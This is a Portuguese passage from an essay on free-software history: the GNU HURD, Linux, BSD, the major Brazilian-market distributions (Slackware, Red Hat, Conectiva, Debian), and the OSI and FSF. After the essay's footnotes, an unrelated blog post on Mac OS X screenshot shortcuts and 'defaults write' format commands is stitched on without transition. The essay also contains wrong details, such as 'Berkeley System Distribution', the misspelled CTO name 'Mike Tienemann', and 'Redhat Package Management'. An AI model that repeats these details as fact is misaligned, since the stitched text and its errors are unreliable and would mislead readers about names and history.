O projeto do kernel GNU (conhecido por HURD) estava, lentamente, se desenvolvendo. Não estava, de forma alguma, acompanhando o desenvolvimento do restante do sistema. Como o que se precisava era de algo completamente novo, a maioria dos programadores envolvidos estavam pisando em um terreno desconhecido. Logicamente, o desenvolvimento teria de andar devagar.

A grande virada começou a ocorrer em 1991, quando um hacker de Helsinki conhecido por Linus Torvalds começou um projeto pessoal para desenvolver um kernel de sistema operacional. Todo o trabalho era feito amadoristicamente, como um projeto pessoal típico de um hacker motivado. Mas, a comunidade hacker, que já havia esperado pacientemente o Kernel do projeto GNU aparecer, começou a colaborar intensivamente para o projeto daquele hacker de Helsinki. Esse kernel passou a ser a peça que faltava para o desenvolvimento de um sistema operacional livre quando Linus licenciou seu projeto sob a GPL, chamando-o de Linux.

Em pouco tempo, o Linux tornou-se um dos maiores projetos colaborativos do mundo. Centenas de hackers em todo o mundo começaram a enviar colaborações e aperfeiçoamentos. O Linux começou a integrar o que passou a ser conhecido por sistema GNU/Linux, ou seja, o kernel Linux com as ferramentas GNU (freqüentemente tratado simplesmente por Linux). Logo surgiu o conceito de distribuições, que juntavam um sistema GNU/Linux a um monte de outros softwares livres e eram distribuídas de uma maneira fácil de instalar.

Com a evolução das distribuições, a integração de ambientes gráficos e de pacotes de programas integrados de desktop, o GNU/Linux chegou ao ponto em que qualquer usuário levemente motivado consegue instalar e executar uma de suas variantes. Ou seja, passou de um sistema operacional exclusivo dos hackers para um sistema operacional de usuário final. Vários benefícios são o subproduto dessa passagem: o usuário final acaba com um ambiente estável, confiável, de alta velocidade em que todas as tarefas que antes custavam vários dólares para ser executadas, hoje custam nada além de um pouco de motivação.


4. BSD – O Unix Acadêmico

Dando uma pausa na evolução do GNU/Linux, nenhuma introdução estaria completa sem a menção (e somente uma menção) do BSD. Surgido como um forking dos sistemas Unix originais da AT&T, o BSD (ou, em inglês, Berkeley System Distribution) começou a ser desenvolvido com um modelo diferente do GNU: o modelo universitário baseado na licença BSD.

Uma Universidade (no caso Berkeley) necessitava de fundos para empreender suas pesquisas, e nenhuma empresa estaria interessada a custear o desenvolvimento de um sistema que não pudesse ser aproveitado comercialmente (isso era o que se pensava do Software Livre, o que a história acabou provando ser um equívoco). Então o desenvolvimento do BSD tomou rumos diferentes do que o Linux, ao utilizar uma licença que permitia o fechamento do código (ao contrário da GPL).

O BSD (e seus forks: FreeBSD, OpenBSD e NetBSD) começaram a integrar uma forte base de servidores que, até hoje, acredita-se serem melhores que o GNU/Linux em várias tarefas.

Nesse momento é prudente me abster de continuar com a história do BSD para evitar a parcialidade. Aos que quiserem maiores informações, um bom ponto de início são as páginas dos forks que eu já mencionei.


5. Distribuições GNU/Linux

Bem… chegamos ao momento histórico em que o GNU/Linux começa a ser distribuído em grandes pacotes com vários programas abertos. É instalando uma dessas distribuições que o usuário comum deve entrar nessa Revolução.

Não vou analisar cada uma das distribuições. Existem várias análises e os sites de notícias do Linux publicam análises periodicamente. Vou limitar-me a comentar brevemente cada uma das que eu considero as 4 maiores distribuições no Brasil. O comentário breve é necessário para manter a imparciabilidade, já que sou desenvolvedor de uma delas.


5.1. O Slackware – A primeira grande distribuição

O Slackware foi a primeira distribuição do Linux a se disseminar. Ela começou com Patrick Volkerding no final de 1992, que foi introduzido ao GNU/Linux quando precisava de um interpretador LISP barato para um projeto. Naquela época existiam poucas distribuições e Patrick escolheu o Soft Landing Systems (SLS Linux).

Contudo, a SLS tinha alguns problemas e Patrick decidiu consertá-los. Eventualmente isso acabou se tornando uma distribuição diferente, que, ganhou popularidade rapidamente e ficou conhecida como Slackware.

Ao longo do caminho, Patrick acrescentou alguns aperfeiçoamentos que tornavam sua distribuição mais amigável e introduziam o conceito de gerenciamento de pacotes. Hoje o Slackware tem uma legião de fãs incondicionais que fazem dela uma grande distribuição.


5.2. O RedHat – o mais utilizado sistema de pacotes

A distribuição do chapéu vermelho foi a responsável pela introdução do formato rpm de pacotes (Redhat Package Management), hoje adotado pela LSB (Linux Standard Base) como padrão.

O formato de pacotes e uma instalação amigável fizeram do RedHat a distribuição com o maior número de usuários dentre todas. Os membros da empresa são hackers comprometidos com o software livre e o CTO (Mike Tienemann) é conhecido por suas incisivas críticas ao monopólio da Microsoft.

Além disso, a RedHat é uma empresa comprometida com a comunidade que desenvolve o Linux. Alan Cox, um dos mais reconhecidos integradores do kernel (chegando a liberar até 3-4 versões de aprimoramento por dia) é seu empregado.

Recentemente, em uma decisão muito controversa, a RedHat parou de fornecer suporte para a edição desktop de sua distribuição, transferindo a responsabilidade pelo desenvolvimento deste ramo à comunidade, começando o que é conhecido como Projeto Fedora.


5.3. A Conectiva – o correspondente tupiniquim da RedHat

Inicialmente baseado no RedHat, a distribuição da Conectiva é a alternativa brasileira às grandes distribuições. A empresa tem um bom time de hackers cuidando do desenvolvimento não só da distribuição como do kernel do Linux e de vários projetos de software livre. Um deles, Marcelo Tosatti, ficou famoso recentemente por ter sido escolhido por Alan Cox e Linus Torvalds para ser o responsável pela série 2.4.x do kernel. Hoje Marcelo trabalha para a Cyclades.

Recentemente a Conectiva passou a integrar um joint de distribuições GNU/Linux conhecido por UnitedLinux, que reune a SuSE, a SCO e a TurboLinux.

A instalação é amigável, apesar de nem sempre dar certo, e o fato de prover suporte (pago, é claro) em português ajuda muito. Mas a distribuição da Conectiva tem a fama de ser substituída tão logo o usuário aprenda mais sobre o Linux.


5.4. O Debian – de volta às raízes

O Projeto Debian começou em 1993 com o objetivo de gerar um sistema operacional universal com o mesmo sistema de desenvolvimento aberto do Linux e do Software Livre. O Debian não é uma empresa. É uma organização internacional sem fins lucrativos, mantido pelo idealismo de mais de 900 desenvolvedores.

As principais diferenças com relação as outras distribuições são com relação à portabilidade e à qualidade.

O Debian está, atualmente, disponível em 11 arquiteturas que variam desde o i386 ao PowerPC. Além disso, por ser independente do kernel, está sendo portado para trabalhar com o kernel do projeto GNU (conhecido por HURD), com o kernel BSD e com clusters beowulf.

O sistema de pacotes do Debian é, sem dúvidas, o mais completo e amigável sistema de pacotes dentre as grandes distribuições, sendo, inclusive, parcialmente adotado pela Conectiva a partir da sua versão 6.0. Mas o mais importante a ser notado quanto aos pacotes do Debian é que eles são feitos por desenvolvedores comprometidos em criar o melhor. Somente desenvolvedores aprovados no sistema de seleção do Debian para integrar o time é que podem desenvolver pacotes Debian oficiais. Isso é uma grande diferença quando comparado ao sistema de distribuição dos pacotes rpm.


6. O Software Aberto – A contribuição da novageração

A frente do jovem movimento do software aberto, a Iniciativa do Código Aberto (OSI – Open Source Initiative) é uma organização cuja única finalidade é arrebanhar suporte para o Software Aberto. Isto é o software que é compatível com a definição de Software Aberto provida pela própria OSI (que, por sua vez, é baseada na definição do Debian). Nenhuma licença é oferecida, ao contrário da FSF, mas várias licenças são certificadas para garantir que o projeto que seja licenciado sob ela tenha as mesmas características fundamentais do Software Aberto. A própria GPL é certificada pela OSI.

A idéia por trás da OSI é conseguir com que mais empresas apóiem o Software Aberto por permitir que elas escrevam programas sob a sua própria licença, desde que essas sejam certificadas pela OSI. Muitas empresas querem liberar o código fonte de seus aplicativos, mas não querem usar a GPL, ou por não poderem fazer isso por questões administrativas, ou por desejarem manter o controle sobre o licenciamento do seu software. Para essas a OSI oferece sua certificação.

Enquanto a FSF e a OSI trabalham para ajudar umas às outras, elas não são a mesma coisa. A FSF suporta o uso de suas licenças e somente delas. A OSI não tem licenças próprias, mas certifica as existentes dentro de seus próprios parâmetros de Software Aberto. Pode aparentar que existam duas correntes ideológicas: o Software Livre (da FSF) e o Software Aberto (da OSI), mas o fato é que grupos diferentes estão trabalhando em direção aos mesmos objetivos, cada qual aumentando a credibilidade do outro.

A FSF, portanto, é o braço político ideológico do movimento, pregando que todo o software deve ser livre e oferecendo a GPL como exemplo de licença. A OSI, por outro lado, é o braço conciliador, garantindo que empresas com o modelo comercial de desenvolvimento possam entrar no movimento sem necessariamente adotar as licenças da FSF. Eventualmente todo o software será livre, de acordo com a ideologia da FSF. Mas para as empresas que não querem mudar o modelo comercial utilizado, a OSI oferece uma alternativa intermediária.


7. Conclusão

Bem… acredito que isso conclui nosso breve tour pela história dessa revolução que há apenas poucos anos começou e que ainda está longe de terminar. Espero que os links que eu citei acima sejam úteis para alguma coisa.

Para você, usuário não técnico, espero que este documento tenha tido algum valor. Como instalar uma ou outra distribuição, como fazer para funcionar a impressora ou o modem, ou como conectar-se a internet, existem vários documentos que ensinam. Mas um que conte como tudo começou…. isso estava faltando. Espero que este documento tenha suprido essa falta.

Agora é só começar. Escolha uma distribuição, assine algumas listas de discussão, leia os manuais e conte com a comunidade para ajudar nas suas dúvidas. Mãos a obra.

Notes

[1] Como detentor do direito autoral, o autor do trabalho licenceado sob a GPL, por exemplo, pode mudar a licença. Mas fica legalmente impedido de incluir o código que recebeu como contribuição de outros autores licenceados sob a mesma licença. Na prática, isso acaba por assegurar que o código fique sob a licença livre
[2] Num processo conhecido por “forking”. O forking é uma das maiores forças do software livre, no entanto é atacado constantemente por empresas que estão começando a perder o monopólio para esse novo paradigma.
Como fazer printscreen no Mac Os X Leopard | Snow Leopard

Como fazer printscreen no Mac Os X Leopard | Snow Leopard

Um tarefa mais simples, porém menos produtiva junto ao Windows é “printar” uma tela.
Sim, é simples, teclando PrintScreen temos uma imagem na memória e basta abrir um programa, como por exemplo Paint Brush e colar (CTRL+V) e temos a imagem lá. Se salvarmos encontraremos um BMP ultra pesado e com qualidade precária.

No Mac Os X, apesar de ser diferente, a idéia de prints no Mac é bem superior ao Windows. Veja pela lógica, bater um print normalmente é algo para uma produção corriqueira (printar uma tela para em seguida enviar uma imagem de erro para alguém como parte de um report), printar para fazer montagens em editores profissionais como Photoshop, por exemplo.

No caso do Mac Os X, a mentalidade dos desenvolvedores é muito inteligente, veja por que:

1 – Maior parte das alternativas de prints salva na área de trabalho,

2 – Os prints salvos automaticamente no Desktop SÃO EM FORMATO PNG. (acredite, a qualidade/consistência desse formato são violentíssimos).

 

Vamos aos comandos?

 

1 – Printando uma tela e armazenando a imagem no desktop em formato PNG:

command+shift+3

2 – Printando uma tela a qual poderemos marcar o campo de print com o cursor do mouse:

command+shift+4

3 – Printando uma tela de forma que seu cursor selecione a janela que possa ser printada:

command+shift+4+posterior toque na barra de espaço

4 – Printando uma tela para armazena-la na memória de forma que possamos colocar a imagem em um programa profissional (Photoshop, por exemplo):

command+shift+3+ctrl, command+shift+4+ctrl, command+shift+4+posterior toque na barra de espaço+ctrl

 

É possível mudar o formato das imagens salvas? SIM!

Para mudar o formato você precisa entrar no console e digitar:

defaults write com.apple.screencapture type pdf

 

Posso voltar para PNG? SIM!

defaults write com.apple.screencapture type png

 

Baseado em: http://www.infoblogs.com.br/view.action?contentId=16627&Como-fazer-print-screens-no-Mac-OS-X.html